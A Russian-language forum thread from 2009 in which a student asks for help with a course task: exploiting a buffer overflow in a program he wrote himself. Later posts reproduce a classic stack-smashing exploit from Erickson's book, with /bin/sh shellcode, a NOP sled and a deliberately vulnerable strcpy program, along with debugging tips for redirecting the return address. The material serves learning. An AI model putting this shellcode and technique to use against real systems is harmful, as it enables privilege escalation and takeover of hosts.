Сейчас на форуме: _MBK_, asfa, Rio (+5 невидимых)

 eXeL@B —› Вопросы новичков —› Buffer Overflow
Посл.ответ Сообщение

Ранг: 0.8 (гость)
Активность: 0=0
Статус: Участник

Создано: 09 января 2009 18:05 · Поправил: Winte
· Личное сообщение · #1

собственно дали мне задание - написать программу и взломать её: т.е. сделать что-то не предусмотренное программой(писал её сам, под unix):

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>


void main ()
{
FILE* myNote;
char buf[10];
int i, ch;
myNote = fopen("/home/kazakov/MuNote","r");

while ((ch=fgetc(myNote)) !=EOF)
printf("%c",ch);

fclose(myNote);
}

собственно тут возникает загвоздка - как заставить её делать что-то Моё? я понимаю, что нужно разместить в стеке адрес программы которая будет, допустим стирать полностью файл muNote. А затем "затереть" адрес возврата основной программы, используя уязвимость ф-и fgetc(), таким образом, чтобы на его месте оказалась адрес входа в Мою программу. Но как это реализовать мне не ясно. Помогите мне кто чем может.
з.ы
для знакомства с основами хака использовал две нижеприведённые статьи - преподаватель сказал, что этого достаточно
[url=http://www.opennet.ru/base/sec/p49-14.txt.html
]http://www.opennet.ru/base/sec/p49-14.txt.html
[/url]
http://www.opennet.ru/base/sec/remote_exploit.txt.html http://www.opennet.ru/base/sec/remote_exploit.txt.html [ASM][ASM][img] [ASM][/ASM][/img][/ASM][/ASM]



Ранг: 301.4 (мудрец), 194thx
Активность: 0.170.01
Статус: Участник

Создано: 09 января 2009 20:43
· Личное сообщение · #2

Могу посоветовать книгу "Хаккинг. Искусство эксплойта" Д.Эриксон
Есть на infanata.org... в книге собственно и методы и код и примеры сплойтов и тд и тп



Ранг: 301.4 (мудрец), 194thx
Активность: 0.170.01
Статус: Участник

Создано: 09 января 2009 20:57 · Поправил: Veliant
· Личное сообщение · #3

Вот побырому накидал пример...
Пример забивает в стек данные из файла, переполняет лимит в 10 байт, вместо адреса возврата ставит адрес на стек, ну и дальше уже мини шелл выполняющий ExitProcess
Ставь бряк на 0040106E и увидишь как вылетает)

d9aa_09.01.2009_CRACKLAB.rU.tgz - sploit.rar




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 09 января 2009 22:58
· Личное сообщение · #4

Я бы посоветовал поискать статьи по переполнению буфера, во многих используется для примера как раз самописная прога буквально с парой функций, написано всё доступно. Нагуглить несложно. Обычно используется локальная переменная типа массив чаров фиксированной длины и туда копируется через strcpy строка, введённая юзером безо всяких проверок. Если строка длиннее буфера-перезаписывать лишнее пойдёт.



Ранг: 0.8 (гость)
Активность: 0=0
Статус: Участник

Создано: 15 января 2009 18:27 · Поправил: Winte
· Личное сообщение · #5

спасибо за советы



Ранг: 0.8 (гость)
Активность: 0=0
Статус: Участник

Создано: 15 января 2009 22:49
· Личное сообщение · #6

exploit.c

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

printf("stack pointer(esp): 0x%x\n", esp);
printf("offset: 0x%x\n", offset);
printf("return adress: 0x%x\n", ret);

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long*) ptr;

for(i=0; i<600; i+=4)
{
*(addr_ptr++) = ret;
}

for(i=0; i<200; i++)
{
buffer[i] = '\x90';
}

ptr = buffer+200;

for(i=200; strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buffer[600-1] = 0;

execl("./my", "my", buffer, "0");

free(buffer);
//myFunc();
return 0;
}
______________________________________________________________________ ___

my.c

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>


int main (int argc, char *argv[])
{
char buf[500];
strcpy(buf,argv[1]);
//printf("file be read:%s", buf);
return 0;
}

это пример из книги эриксона. что-то не удалось мне подменить адрес возврата - постоянно вылетаю на segmentation fault



Ранг: 301.4 (мудрец), 194thx
Активность: 0.170.01
Статус: Участник

Создано: 16 января 2009 13:47
· Личное сообщение · #7

вот еще статья от криса касперски www.insidepro.com/kk/011/011r.shtml




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 16 января 2009 16:13
· Личное сообщение · #8

Поотлаживай обе проги, раз пишешь под никсы, поюзай GDB. Загляни в стек и нашарь там свой шеллкод, подгони адреса, чтоб подходило. return должен возвращать управление на что-нибудь вроде call esp/jmp esp, что передаст управление на твой шеллкод.



Ранг: 0.8 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 февраля 2009 10:53
· Личное сообщение · #9

я немного изменил программу. всё работает корректно, кроме шеллкода((. кто-то может дать ссылку или сам шеллкод под ubuntu? шеллкоддолжен выполнить хоть что-то, даже просто прибить сам процесс


 eXeL@B —› Вопросы новичков —› Buffer Overflow
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати